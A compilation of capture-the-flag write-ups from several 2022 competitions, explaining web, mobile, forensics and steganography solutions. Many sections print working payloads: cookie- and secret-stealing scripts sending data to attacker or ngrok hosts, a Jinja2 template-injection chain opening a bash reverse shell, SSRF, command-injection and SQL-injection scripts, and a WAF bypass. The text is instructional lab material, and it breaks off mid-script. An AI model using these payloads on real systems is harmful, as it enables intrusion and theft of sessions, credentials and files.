date: Fri, 13 May 2022 09:41:26 GMT
x-server: HaProxy-2.4.0

Securinets{W3lC0me_T0_FinAlS_4nD_SmUUgLinG}
```


# XwaSS ftw?

Content Security Policy bypass using base tag

> Just another typical web challenge that will be solved anyway :/\
> Link: <http://128.199.3.34:1236>
>
> **Author:** Kahla

In this challenge, we have HTML injection through the `src=` parameter, but the CSP does not allow the loading of arbitrary scripts.

```markup
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-6kzZgPLe1fqRq8';connect-src 'self';style-src 'self';font-src 'self';object-src 'none'">
```

Thankfully, the following script is included in the response, which is permitted by the `nonce`.

```markup
<script nonce=6kzZgPLe1fqRq8  src="assets/js/bootstrap.js">
```

We could therefore use the `<base>` tag to set the base URL of the document to our attacker-controlled site.

```html
?src=/img/saturn.jpg'><base href="http://ATTACKER_URL">
```

This will load the script `http://ATTACKER_URL/assets/js/bootstrap.js`, which we can host on our server:

```javascript
let img = document.createElement('img');
img.src = "/?" + btoa(document.cookie)

document.body.appendChild(img);
```

The above payload will cause the browser to fetch `/?${document.cookie}`, which will be logged on our server, allowing us to get the admin's cookie.


# Strong

Jinja2 SSTI filter bypass

> This type of challenges is created to be solved at the end, but you know it's a matter of time so who is the faster?
>
> Link: <http://128.199.3.34:1234>
>
> **Author:** Kahla

This was a Jinja2 template injection challenge, with the following filter:

```python
re.search("\{\{|\}\}|(popen)|(os)|(subprocess)|(application)|(getitem)|(flag.txt)|\.|_|\[|\]|\"|(class)|(subclasses)|(mro)|\\\\",request.form['name'])
```

As we can see, the filter is quite extensive!

![](/files/QBG4YAC7w94SdpwOvTlN)

### Bypassing "{{" and "}}"

This one is rather straightforward. We could still get code execution through an if-else statement:

```django
{% if PAYLOAD %}{% endif %}
```

### Bypassing ".", "\[", "]"

We could bypass the use of `.` by using the `attr` filter. For instance, `request|attr('args')` is the same as `request.args`.

Sometimes, we need to access elements of a list or dictionary. This was a bit more tricky but looking into the [Built-in Filters](https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters) part of the documentation, we can find some useful information.

To get the first and last items of a list, we could use `|first` and `|last` respectively.

If we need to access items in a dictionary, we could first convert them to a list using `|list`, then access the first and last elements.

### Bypassing "\_", "\\", "class", "subclasses", "getitem"

In order for our RCE payload to work, I needed access to `__class__`, `__subclassess__` and `__getitem__`.

We needed a way to construct something like `()|attr('__class__')`. The `\` character was banned, so using octal or hexadecimal numbers to construct the string was not possible.

One easy way to get banned characters into a string was to use `request.args` - this is a MultiDict object containing the GET request parameters.

For example, this allowed us to get the `__` string:

```http
POST /?__=a

...

name=... request|attr('args')|list|first ...
```

Bypassing the `class`, `subclasses`, and `getitem` strings could be done by using the `|lower` filter. For instance: `'CLASS'|lower`.

All that's left to do is to join the `class` string with the preceding and ending `__` characters. This can be achieved using `|join`.

Viola, the following will give us `().__class__`:

`()|attr((request|attr('args')|list|first,'CLASS'|lower,request|attr('args')|list|first)|join)`

This can then be extended to construct almost any arbitrary payload.

### Gaining RCE

To get RCE, a typical method is through `().__class__.__subclasses__.__getitem__(x)` where `x` corresponds to the index of the `subprocess.Popen` class.

We do not know the value of `x` in this case, but we can still blindly bruteforce the value of `x` by submitting our RCE payload with different `x` values until we receive a shell.

In order to complete our RCE payload, I needed the `.` character for my callback domain, and the `"` character for the bash command:

`bash -c "bash -i >& /dev/tcp/8.tcp.ngrok.io/14003 0>&1"`

These characters can be obtained in a similar fashion as `__`. Adding a second GET request parameter, we can access `.` through `request|attr('args')|list|last`.

As for `"`, we could add another POST request parameter and access it through `request|attr('form')|list|last)|join`.

### Final Payload

It might not have been the most elegant, but it got the job done!

```http
POST /?__=a&.=b HTTP/1.1
Host: 128.199.3.34:1234
Content-Length: 661

name={% if ()|attr((request|attr('args')|list|first,'CLASS'|lower,request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'base',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'SUBCLASSES'|lower,request|attr('args')|list|first)|join)()|attr((request|attr('args')|list|first,'GETITEM'|lower,request|attr('args')|list|first)|join)(276)(('bash -c ',request|attr('form')|list|last,'bash -i >%26 /dev/tcp/8',request|attr('args')|list|last,'tcp',request|attr('args')|list|last,'ngrok',request|attr('args')|list|last,'io/14003 0>%261',request|attr('form')|list|last)|join,shell=True,stdout=-1) %}{% endif %}&"
```


# Artist

> Losing everything is so bad! I lost my keepass password but i guess i wrote it somewhere! Strange thing is there was notepad opened as i remember. But i forgot when exactly!
>
> Securinets{username-pass-openedtimefornotepad}
>
> for the time it should be in this format: YYYY-MM-DD\_HH:MM:SS

First of all, let's find the open time of Notepad. Using Volatility's `pslist`, we find an entry of `notepad.exe` being opened at `2022-05-10 16:42:49` (before KeePass is opened).

```
7336    5688    notepad.exe     0xc18b04f81080  3       -       2       False   2022-05-10 16:42:49.000000      N/A     Disabled
6092    752     svchost.exe     0xc18b02fc2340  3       -       0       False   2022-05-10 16:42:54.000000      N/A     Disabled
4136    5688    KeePass.exe     0xc18b054942c0  9       -       2       False   2022-05-10 16:43:38.000000      N/A     Disabled
```

Now, the description mentions that the KeePass password was written down somewhere. Using `filescan`, we would find the following text file and KeePass database file.

```
0xc18b05e6ebe0	\Users\ctf\Documents\useful.txt	216

...

0xc18b05e71ac0	\Users\ctf\Documents\content.kdbx	216
```

Dumping `useful.txt` reveals the KeePass password, which we can use on the `kdbx` file.

```
the key for it is: qlkdhsqvkyvs1532112837
```

Piecing the information together, we get:

`Securinets{ctf-qlkdhsqvkyvs1532112837-2022-05-10 16:42:49}`


# NahamCon CTF 2022

We played this as "ThreeTop Walk" and got 13th place!

| Challenge                                                          | Category |
| ------------------------------------------------------------------ | -------- |
| [Flaskmetal Alchemist](/2022/nahamcon-ctf-2022)                    | Web      |
| [Hacker TS](/2022/nahamcon-ctf-2022/hacker-ts)                     | Web      |
| [Two For One](/2022/nahamcon-ctf-2022/two-for-one)                 | Web      |
| [Deafcon](/2022/nahamcon-ctf-2022/deafcon)                         | Web      |
| [OTP Vault](/2022/nahamcon-ctf-2022/otp-vault)                     | Mobile   |
| [Click Me](/2022/nahamcon-ctf-2022/click-me)                       | Mobile   |
| [Geezip](/2022/nahamcon-ctf-2022/geezip)                           | Misc     |
| [Ostrich](/2022/nahamcon-ctf-2022/ostrich)                         | Stego    |
| [No Space Between Us](/2022/nahamcon-ctf-2022/no-space-between-us) | Stego    |


# Flaskmetal Alchemist

We are given the following code:

```python
from flask import Flask, render_template, request, url_for, redirect
from models import Metal
from database import db_session, init_db
from seed import seed_db
from sqlalchemy import text

app = Flask(__name__)


@app.teardown_appcontext
def shutdown_session(exception=None):
    db_session.remove()


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        search = ""
        order = None
        if "search" in request.form:
            search = request.form["search"]
        if "order" in request.form:
            order = request.form["order"]
        if order is None:
            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
        else:
            metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
        return render_template("home.html", metals=metals)
    else:
        metals = Metal.query.all()
        return render_template("home.html", metals=metals)


if __name__ == "__main__":
    seed_db()
    app.run(debug=False)
```

Looking into the `requirements.txt` file, we see that a rather old version of SQLAlchemy is used.

```python
click==8.1.2
Flask==2.1.1
importlib-metadata==4.11.3
itsdangerous==2.1.2
Jinja2==3.1.1
MarkupSafe==2.1.1
SQLAlchemy==1.2.17
Werkzeug==2.1.1
zipp==3.8.0
```

This version is in fact vulnerable to [an SQL injection vulnerability](https://github.com/sqlalchemy/sqlalchemy/issues/4481) in `order_by()`.

However, exploiting this is slightly more challenging as the injection point is after the `ORDER BY` clause - at this point, we won't be able to use things like `UNION`, `WHERE`, `OR`, `AND`, etc.

I came across this [article](https://portswigger.net/support/sql-injection-in-the-query-structure) by PortSwigger where the `CASE` clause is used to determine which column the result is sorted by. We'd have to modify the payload into something that SQLite accepts - diving into the SQLite documentation showed us that the following was valid syntax:

```sql
ORDER BY name LIMIT (CASE (SELECT hex(substr(flag,6,1)) FROM flag limit 1 offset 0) WHEN hex('5') THEN  1 ELSE 2 END)
```

This payload will check the `flag` character at index 6. If it matches the character `5`, then the `LIMIT` is set to 1. Otherwise, the `LIMIT` is set to 2.

We could repeat this for each character of the flag:

```python
import requests

alphabet = '0123456789abcdefghijklmnopqrstuvwxyz_{}'
url = 'http://challenge.nahamcon.com:32142'

curr = 'flag{'
i = 6

done = False
while not done:

    found = False

    for char in alphabet:
        print("Trying {}".format(curr + char))
        r = requests.post(url, data={
            'search': '',
            'order': f"name LIMIT (CASE (SELECT hex(substr(flag,{i},1)) FROM flag limit 1 offset 0) WHEN hex('{char}') THEN  1 ELSE 2 END)"
        })
        # print(r.headers['Content-length'])

        if int(r.headers['Content-length']) < 3646:
            found = True
            curr += char
            i += 1
            print("[+] Found {}".format(curr))

    if not found:
        break
```


# Hacker TS

We have some kind of image renderer that places our text onto a T-Shirt image. After some fuzzing, we would find that HTML injection is possible.

![](/files/Y4FMmCxDHBAttClz4Azj)

If we try to load an external resource (e.g. JavaScript or stylesheet), we can capture the request made by the server, and see that the user agent is `wkhtmltoimage`.

It seems that SSRF vulnerabilities through `wkhtmltoimage` and `wkhtmltopdf` are pretty [well known](http://hassankhanyusufzai.com/SSRF-to-LFI/), so we could craft the following payload to exfiltrate the contents of `http://localhost:5000/admin`.

```markup
<html>
    <body>
        <script>
            function reqListener () {
                var exfil = new XMLHttpRequest();
                exfil.open("GET", "http://ATTACKER_URL/" + btoa(this.responseText), false);
                exfil.send();
            }

            var oReq = new XMLHttpRequest();
            oReq.addEventListener("load", reqListener);
            oReq.open("GET", "http://localhost:5000/admin");
            oReq.send();
        </script>
    </body>
</html>
```

We can then host the above and load it through an iframe:

`http://challenge.nahamcon.com:32132/exploit?text=%3Ciframe%20src=%22https://ATTACKER_URL/exploit.html%22%3E&color=%2324d600`

The contents of the admin page contains the flag:

```markup
<!-- Page Content -->
<div class="container">
  <div class="alert alert-success mt-5">
    Hi admin! here is your flag:
    <strong>flag{461e2452088eb397b6138a5934af6231}</strong>
  </div>
</div>
<!-- /.container -->
```


# Two For One

In this challenge, we had to authenticate as the admin user in a 2FA-enabled environment.

The feedback feature of the site had an XSS vulnerability, allowing us to perform a CSRF on the admin to reset their 2FA code.

```markup
<html>
    <body>
        <script>
            fetch("/reset2fa", {
                method: "POST",
                credentials: "include"
            })
            .then(response => response.text())
            .then(text => {

                // Steal the token
                fetch("http://dffa-42-60-216-15.ngrok.io/" + btoa(text));
            });
        </script>
    </body>
</html>
```

This allowed us to steal the 2FA token:

```json
{"url":"otpauth://totp/Fort%20Knox:admin?secret=POYRTZ7WQMGBJZIX&issuer=Fort%20Knox"}
```

This token can then be used by any authenticator application (e.g. Google Authenticator) to generate the admin 2FA codes. With the 2FA code in hand, we can once again perform a CSRF to steal the admin's secrets:

```markup
<html>
    <body>
        <script>
            for (let i = 0; i < 3; i++) {
                fetch("/show_secret", {
                    method: "POST",
                    credentials: "include",
                    headers: {
                        "Content-Type": "application/json"
                    },
                    body: JSON.stringify({
                        "otp": "392346",
                        "secretId": `${i}`
                    })
                })
                .then(response => response.text())
                .then(text => {
                    // Steal the secret
                    fetch("http://dffa-42-60-216-15.ngrok.io/" + btoa(text));
                })
            }
        </script>
    </body>
</html>
```

The flag is contained in the secret.

```bash
 ~ echo "eyJ2YWx1ZSI6ImZsYWd7OTY3MTBlYTZiZTkxNjMyNmY5NmRlMDAzYzFjYzk3Y2J9In0K" | base64 -d
{"value":"flag{96710ea6be916326f96de003c1cc97cb}"}
```


# Deafcon

The premise of this challenge was similar to [Hacker TS](/2022/nahamcon-ctf-2022/hacker-ts) - we had input that was rendered into a PDF using `wkhtmltopdf`. However, our payload had to fit the following constraints:

* `name` validated for alphanumeric characters
* `email` uses RFC5322 validation

The `email` parameter is naturally more realistic to exploit, so I dived into [RFC5322](https://datatracker.ietf.org/doc/html/rfc5322#section-3.4.1) and found the part that specified the allowed characters.

```
   addr-spec       =   local-part "@" domain

   local-part      =   dot-atom / quoted-string / obs-local-part

   domain          =   dot-atom / domain-literal / obs-domain

   domain-literal  =   [CFWS] "[" *([FWS] dtext) [FWS] "]" [CFWS]

   dtext           =   %d33-90 /          ; Printable US-ASCII
                       %d94-126 /         ;  characters not including
                       obs-dtext          ;  "[", "]", or "\"
```

The `email` is made up of `<local-part`>`@<domain>`, and interestingly the `domain` allows for a `domain-literal` format - `[<any printable ASCII character>]`.

This allows us, for example, to use the following payload:

`http://challenge.nahamcon.com:31575/ticket?name=test&email=test@[<h1>test</h1>]`

My teammate Enyei then found that this endpoint was also vulnerable to SSTI - it seems that the input is first rendered into a Jinja2 template before being passed to `wkhtmltopdf`.

The following will render the email as `test@[49]`, for instance:

`http://challenge.nahamcon.com:31575/ticket?name=test&email=test@[{{7*7}}]`

At this point, we can craft a payload that reads the `flag.txt` file:

`http://challenge.nahamcon.com:30555/ticket?name=a&email=a@[{{%20get_flashed_messages.__globals__.__builtins__.open%EF%BC%88%22flag.txt%22%EF%BC%89.read%EF%BC%88%EF%BC%89%20}}]`


# OTP Vault

This was a mobile challenge. We are faced with a screen that asks for an OTP.

After decompiling the APK, I saw the following in the source code.

`n.s='JJ2XG5CIMFRWW2LOM4',n.url='http://congon4tor.com:7777',n.token='652W8NxdsHFTorqLXgo=',n.getFlag=function(){var e,o;return t.default.async(function(u){for(;;)switch(u.prev=u.next){case 0:return u.prev=0,e={headers:{Authorization:'Bearer KMGQ0YTYgIMTk5Mjc2NzZY4OMjJlNzAC0WU2DgiYzE41ZDwN'}}`

It seems a request is made to `http://congon4tor.com:7777` to fetch the flag after the OTP check is successful. We could skip the check and directly fetch the URL ourselves.

We can successfully obtain the flag using the Bearer token included in the source code.

```http
GET /flag HTTP/1.1
Host: congon4tor.com:7777
Authorization: Bearer KMGQ0YTYgIMTk5Mjc2NzZY4OMjJlNzAC0WU2DgiYzE41ZDwN
Connection: close

```


# Click Me

This was a "clicker" mobile application. The goal was to get more than 99999999 clicks.

After decompiling the APK, we could see the following relevant part of the source code.

```java
public final void cookieViewClick(View view) {
    int i = this.CLICKS + 1;
    this.CLICKS = i;
    if (i >= 13371337) {
        this.CLICKS = 13371337;
    }
    ((TextView) findViewById(R.id.cookieCount)).setText(String.valueOf(this.CLICKS));
}

public final void getFlagButtonClick(View view) {
    Intrinsics.checkNotNullParameter(view, "view");
    if (this.CLICKS == 99999999) {
        Toast.makeText(getApplicationContext(), getFlag(), 0).show();
        return;
    }
    Toast.makeText(getApplicationContext(), "You do not have enough cookies to get the flag", 0).show();
}
```

We could find the instruction where the `CLICKS` is compared with 99999999, patch it, and recompile the APK. Looking at the Smali code, we see the following portion that corresponds to the check in `getFlagButtonClick`.

```smali
.line 34
iget p1, p0, Lcom/example/clickme/MainActivity;->CLICKS:I

const/4 v0, 0x0

const v1, 0x5f5e0ff

if-ne p1, v1, :cond_0

.line 35
invoke-virtual {p0}, Lcom/example/clickme/MainActivity;->getFlag()Ljava/lang/String;
```

In a nutshell, if the current number of clicks is not equal to 0x5f5e0ff (99999999), the code jumps over the `getFlag()` call to the `cond_0` label somewhere below.

All we have to do is to change this instruction to

```smali
if-gt p1, v1, :cond_0
```

and [recompile the APK](https://gist.github.com/PuKoren/d0ec0c98350c0e92f467). Now the check is bypassed!

![](/files/ojayg9gLR3UZLm4DHsxG)


# Geezip

This is a web application that allows us to `gzip` content and provides a summary using `zgrep`. I found a recent [vulnerability](https://seclists.org/oss-sec/2022/q2/23) in `zgrep` that leads to RCE when using multi-line file names.

However, slashes (`/`) won't work in the filename, so we need to do something like the following to run the `get_flag` binary in the root directory:

```bash
cd .. && export PATH=. && get_flag
```

Placing the above payload into our filename:

```http
POST / HTTP/1.1
Host: challenge.nahamcon.com:31694
Content-Length: 91

...

Connection: close

action=submit&filename=|
;e cd+..+%26%26+export+PATH%3d.+%26%26+get_flag
#.gz&contents=test
```


# Ostrich

NahamCon has non-guessy steganography challenges! Props to the organizers.

We are given the following source code that was used to generate the resulting image. Both the original and final images are given.

```python
import imageio
from PIL import Image, GifImagePlugin
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import random
from apng import APNG

filenames = []
flag = "REDACTED" 

orig_filename = "ostrich.jpg"
orig_image = Image.open(orig_filename)
pixels = orig_image.load()
width, height = orig_image.size
images = []

for i in range(len(flag)):
    new_filename = f'./images/ostrich{i}.png'
    new_image = Image.new(orig_image.mode, orig_image.size)
    new_pixels = new_image.load()
    for x in range(width):
        for y in range(height):
            new_pixels[x,y] = orig_image.getpixel((x, y))

    x = random.randrange(0,width)
    y = random.randrange(0,height)
    pixel = list(orig_image.getpixel((x, y)))
    while(pixel[2] == 0):
        x = random.randrange(0,width)
        y = random.randrange(0,height)
        pixel = list(orig_image.getpixel((random.randrange(0,width), random.randrange(0,height))))
    
    new_val = l2b(pixel[2]*ord(flag[i]))
    pixel[0] = new_val[0]
    if len(new_val) > 1:
        pixel[1] = new_val[1]
    pixel[2] = 0

    new_pixels[x, y] = (pixel[0], pixel[1], pixel[2])
    new_image.save(new_filename)
    filenames.append(new_filename)
    images.append(new_image)

APNG.from_files(filenames, delay=0).save("result.apng")

```

First of all, the result is an `.apng` file, which is a series of PNGs that form an animated image (similar to a GIF). We can get the individual frames by doing:

```python
im = APNG.open("result.apng")
for i, (png, control) in enumerate(im.frames):
    png.save("frames/{i}.png".format(i=i))
```

If we look into the provided source code, we see that each character of the flag is encoded by taking the "blue" value in the RGB of a random pixel, multiplying that by the ASCII code of the flag character, and placing the result into the "red" and "green" parts of the RGB value.

Therefore, for each resulting image, we simply have to identify the pixel that is different, and do:

$$
c=\frac{\text{red} \* 256 + \text{green}}{blue}
$$

```python
from apng import APNG
from PIL import Image

origImage = Image.open("ostrich.jpg")
res = ''

for i in range(38):
    newImg = Image.open(f"frames/{i}.png")
    
    found = False
    for x in range(newImg.size[0]):
        for y in range(newImg.size[1]):
            pixel = newImg.getpixel((x, y))
            origPixel = origImage.getpixel((x, y))
            if pixel != origPixel:
                print("[+] {} => {}".format(origPixel, pixel))
                if pixel[1]:
                    val = pixel[0] * 256 + pixel[1]
                else:
                    val = pixel[0]

                factor = val / origPixel[2]
                res += chr(int(factor))
                print(res)

                found = True
                break

        if found:
            break
```


# No Space Between Us

There was a Discord bot that would tell "stories". The stories contained [zero-width space](https://en.wikipedia.org/wiki/Zero-width_space) (ZWSP), which were used to encode binary. Basically, the ZWSP was either `\xe2\x80\x8c\x20` (which represented a 0), or `\xe2\x80\x8d\x20` (which represented a 1).

The following script automates the process of DM-ing the bot and decoding the text.

```python
import requests
import time

i = 0

flag = ''

while True:
    res = ''

    r = requests.post(
        'https://discord.com/api/v9/channels/CHANNELID/messages',
        headers={
            'Authorization': 'TOKEN',
        },
        json={
            "content":f"story {i}",
            "tts":False
        }
    )

    time.sleep(1)

    r = requests.get(
        'https://discord.com/api/v9/channels/CHANNELID/messages',
        headers={
            'Authorization': 'TOKEN',
        }
    )

    latest = r.json()[0]
    data = bytes(latest['content'], 'utf-8')
    print(data)

    low = 0
    high = 4
    while low < len(data):
        section = data[low:high]
        if section == b"\xe2\x80\x8c\x20":
            res += '0'
        elif section == b"\xe2\x80\x8d\x20":
            res += '1'

        low += 1
        high = low + 4

    print(res, int(res, 2), chr(int(res, 2)))

    if flag and chr(int(res, 2)) == '}':
        break

    else:
        flag += chr(int(res, 2))

    i += 1

    print(flag)
```


# Securinets CTF Quals 2022

Organised by Securinets Club

I managed to find the time to try out some of the challenges in this CTF. It was definitely a fun CTF and we got 4th place!

![](/files/Frlk41zsGyYdkwr0hK5P)

| Challenge                                                                | Category | Points |
| ------------------------------------------------------------------------ | -------- | ------ |
| [Document-Converter](/2022/securinets-ctf-quals-2022/document-converter) | Web      | 930    |
| [PlanetSheet](/2022/securinets-ctf-quals-2022/planetsheet)               | Web      | 974    |
| [NarutoKeeper](/2022/securinets-ctf-quals-2022/narutokeeper)             | Web      | 996    |


# Document-Converter

> Free converter for everyone.\
> You find the flag at : /flag\
> **Link:** <http://20.233.9.240:1920>

We are given a black-box web challenge. This application allows us to upload files in various formats (.doc, .jpg, etc.) and converts them into a PDF for us to download.

![](/files/yPzkpHWQr5f9wtDVAMma)

The first thing that came to mind was whether I can upload arbitrary HTML, since HTML has plenty of potential SSRF / file inclusion vectors. Sure enough, when I uploaded the following HTML file, I got a callback to my server.

```markup
<link rel=stylesheet href='http://ATTACKER.COM/exploit.css'>
<html>
    <body>
        Hello world.
    </body>
</html>
```

The `User-Agent` showed that LibreOffice was making the callback.

```http
OPTIONS /exploit.css HTTP/1.1
Host: a255-42-60-216-15.ngrok.io
User-Agent: LibreOffice
Cache-Control: no-cache
Pragma: no-cache
X-Forwarded-For: 20.233.9.240
X-Forwarded-Proto: http
Accept-Encoding: gzip
```

Interesting! So LibreOffice is being used to convert the documents. I searched around a bit and came across [this writeup](https://www.l0l.xyz/sec/2021/01/05/1-webdesktop-root-ssrf.html) on SSRF using LibreOffice documents.

We create a sample LibreOffice word document, `poc.odt`. After unzipping the ODT file, we can modify the `content.xml` file to include our payload. We create a `text:section` tag that links to the `/flag` file.

```markup
<?xml version="1.0" encoding="UTF-8"?>
<office:document-content ...>
    <office:body>
       <office:text>
       
                ...
                
                <text:section text:name="string"><text:section-source
                                xlink:href="file:///flag" xlink:type="simple" xlink:show="embed"
                                xlink:actuate="onLoad"/></text:section>
        </office:text>
    </office:body>
</office:document-content>
```

Then, zipping the files again into a `modified.odt` gives us our payload. Uploading this to the server gives us the flag!

![](/files/fduBgeA2uDNml0ZcQ3zN)


# PlanetSheet

> Let's start by warming a little bit! I love planets and I hate sheets so I made this website to show my favorite planets. Flag is in admin cookie.\
> **Link:** <http://20.233.9.240:1337>

In this challenge our input is reflected into an [XSL document](https://developer.mozilla.org/en-US/docs/Web/XSLT). For instance:

```markup
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
    <h2>Planets</h2>
    <p>
OUR INPUT    <xsl:for-each select="catalog/cd">
      <xsl:value-of select="title"/>
      <xsl:if test="position() < last()-1">
        <xsl:text>, </xsl:text>
      </xsl:if>
      <xsl:if test="position()=last()-1">
        <xsl:text>, and </xsl:text>
      </xsl:if>
      <xsl:if test="position()=last()">
        <xsl:text>!</xsl:text>
      </xsl:if>
    </xsl:for-each>
    </p>
  </body>
  </html>
</xsl:template>

</xsl:stylesheet>
```

When rendered in the browser, this yields an error.

![](/files/sNCk0TY4jhrztlGdjZ6Q)

Since the `Content-Type` is `text/xsl`, we can use `<x:script>` to perform XSS ([source](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)).

The final payload was

```xml
<x:script xmlns:x="http://www.w3.org/1999/xhtml" nonce="Y8Ret8N5CPXrSG">fetch(`http://ATTACKER.COM/${btoa(document.cookie)}`)</x:script>
```


# NarutoKeeper

> I was confused and didn't know what's the approproate name for this website :( However just a typical note keeper website \o/ Enjoy the ride :)\
> **Link:** <https://20.124.0.135/>

{% file src="/files/SeUGfwt181g7qIE5pxy6" %}

In this challenge, we can create notes and search for them.

In particular, the search function is rather interesting. We can see that if a note is found with the given query, then a server-side 302 redirect is issued to `/view`.

```python
@app.route('/search')
def search():
    if 'username' not in session:
        return redirect('/login')
    if 'query' not in request.args:
        return redirect('/home')
    query = str(request.args.get('query'))
    results = get_pastes(session['username'])
    res_content=[{"id":id,"val":get_paste(id)} for id in results]
    if ":" in query:
        toGo=get_paste(query.split(":")[1])
        sear=query.split(":")[0]
    else:
        toGo=res_content[0]["val"]
        sear=query
    i=0
    for paste in res_content:
        i=i+1
        if i>5:
            return redirect("/view?id=MaximumReached&paste="+toGo.strip())     
        if sear in paste["val"]:
            return redirect("/view?id=Found&paste="+toGo.strip())
    return render_template("search.html",error='No results found.',result="")
```

Since the redirect is only issued if the query is part of the note, we can use the redirect as an oracle to detect whether our flag is correct and bruteforce the flag.

Just to be sure, we can also check that the `SameSite` attribute of the cookies is set to `None`, enabling cross-origin requests to carry the victim's cookies.

```python
app.config['SESSION_COOKIE_SAMESITE']="None"
app.config['SESSION_COOKIE_SECURE']= True
```

I read [some slides](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63e29d5a06_0_0) on this exact scenario a while back. The attack relies on the fact that the Fetch API has a maximum redirect count of 20. If the redirect count exceeds this value, a network error is returned.

![](https://lh5.googleusercontent.com/Wx6wCcfIg7RBtGr3pV9hasQVoGFm7EsfOAS8Rf-XeLavDHd04SimoI3aTLhJEVAXYFA4jTp3d9fpypge3hgUxYNrYXIGa0BNRveFJsq9wVLauU-FE9MCqY9k--3GOu31GnIZnpauHuI)

Therefore, we can leak whether a redirect occurred in the cross-origin request by catching the network error.

On the client, we will make a request to our own attacker server. This server should redirect to itself 19 times, before redirecting to the actual target URL.

If the target URL then performs a further 302 redirect, then the redirect limit is reached - we can catch the error and exfiltrate the flag so far.

```markup
<html>
    <body>
        <script>
            (async () => {
                const attackerUrl = "http://ATTACKER.COM";
                const checkRedirect = async (numRedirects, toCheck) => {
                    let res = 0;
                    await fetch(`${attackerUrl}/redirect.php?check=${numRedirects}&step=0&url=https://20.124.0.135/search?query=${toCheck}`, {
                        credentials: "include",
                        mode: 'no-cors',
                    }).then((r) => {
                        // no redirect
                    }).catch(async() => {
                        // redirect limit reached
                        // there was an extra redirect (by the server)
                        fetch(`${attackerUrl}/${toCheck}`);
                        res = 1;
                    })
                    return res;
                }
                
                const alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-!{}";
                let curr = "Securinets{ArigAt0";

                while (true) {

                    for (let i = 0; i < alphabet.length; i++) {
                        let toCheck = curr + alphabet[i];
                        let res = await checkRedirect(0, toCheck);
                        if (res)
                            break;
                    }
                    
                    curr = toCheck;
                    if (curr[curr.length -1] == '}') {
                        break;
                    }
                }

            })();

        </script>
    </body>
</html>
```

On our server, we run the following PHP script to redirect to ourself 19 times, before redirecting to the target URL.

```php
<?php
    $check = (int) $_GET['check'];
    $step = (int) $_GET['step'];
    $url = $_GET['url'];
    if ($step === 19 - $check) {
        header('Location: ' . $url);
    } else {
        header('Location: redirect.php?check=' . $check . '&step=' . ($step + 1) . '&url=' . $url);
    }
?>
```

Here's the result! Thankfully the admin bot waits long enough for us to slowly bruteforce the flag letter by letter.

![](/files/tqgOb21FfOdpGZtaoiRz)


# CTF.SG CTF

Last year, Social Engineering Experts played CTF.SG CTF as one of our first CTFs and barely solved any challenges. This year, we claimed 3rd and 1st place!

![](/files/iHxNnCiW8TJro0ssu1Zb)

| Challenge                                                               | Category | Points |
| ----------------------------------------------------------------------- | -------- | ------ |
| [Wildest Dreams Part 2](/2022/ctf.sg-ctf/wildest-dreams-part-2)         | Web      | 383    |
| [Don't touch my flag](/2022/ctf.sg-ctf/dont-touch-my-flag)              | Web      | 777    |
| [We know this all too well](/2022/ctf.sg-ctf/we-know-this-all-too-well) | Web      | 966    |
| [Senpai](/2022/ctf.sg-ctf/senpai)                                       | Web      | 982    |
| [Asuna Waffles](/2022/ctf.sg-ctf/asuna-waffles)                         | Web      | 990    |
| [Chopsticks](/2022/ctf.sg-ctf/chopsticks)                               | Misc     | 500    |
| [Chopsticks 2](/2022/ctf.sg-ctf/chopsticks)                             | Misc     | 912    |
| DATS Interview                                                          | Misc     | 1000   |


# Asuna Waffles

> I really love blue-berry waffles. I really do. Even Asuna loves it too! There are two users, flag is in one of the columns.\
> \
> <http://asuna.nullsession.pw\\>
> \
> author: Gladiator

Going to the index page, we are told that this is yet another SQL injection challenge ™️

```http
HTTP/1.1 200 OK
Date: Mon, 14 Mar 2022 04:44:43 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 114
Connection: close
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Disposition
X-Request-Id: 3dfaa711-24bc-4755-b720-4b0fbfa16335

You can try using /search to search. Example: /search?q=bob ["SELECT * FROM user WHERE username = '"+username+"'"]
```

However, once we start fuzzing some classic SQLi payloads, we would quickly find that the challenge is not so simple. We are instead greeted with a 403 Forbidden page.

```http
HTTP/1.1 403 Forbidden
Server: awselb/2.0
Date: Mon, 14 Mar 2022 04:45:55 GMT
Content-Type: text/html
Content-Length: 520
Connection: close

<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
```

One would notice, however, that the `Server` header is now present. We know that the application is put behind an AWS ELB, so we could guess that the AWS WAF is the one blocking our SQLi requests.

### Dangerous Defaults

A quick look at the AWS WAF [documentation](https://docs.aws.amazon.com/waf/latest/developerguide/waf-rule-statement-fields.html) would sound some alarm bells with these red warning boxes:

![](/files/Qes7zciay3UKmbpxa9ia)

Wait... this can't be... can it? Surely there must be some other default rule that says that anything longer than 8kB is blocked without even being passed to the WAF... right?

Well, a simple test showed otherwise. Even a trivial payload like `aaa...[8kB]...aaa' or '1` would succeed. We could therefore dump the database using SQLi payloads longer than 8kB!

I was too lazy to do this manually, so I just wrote a simple SQLMap tamper script that prepends 8192 `"a"`s to the payload.

```python
#!/usr/bin/env python
from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.NORMAL
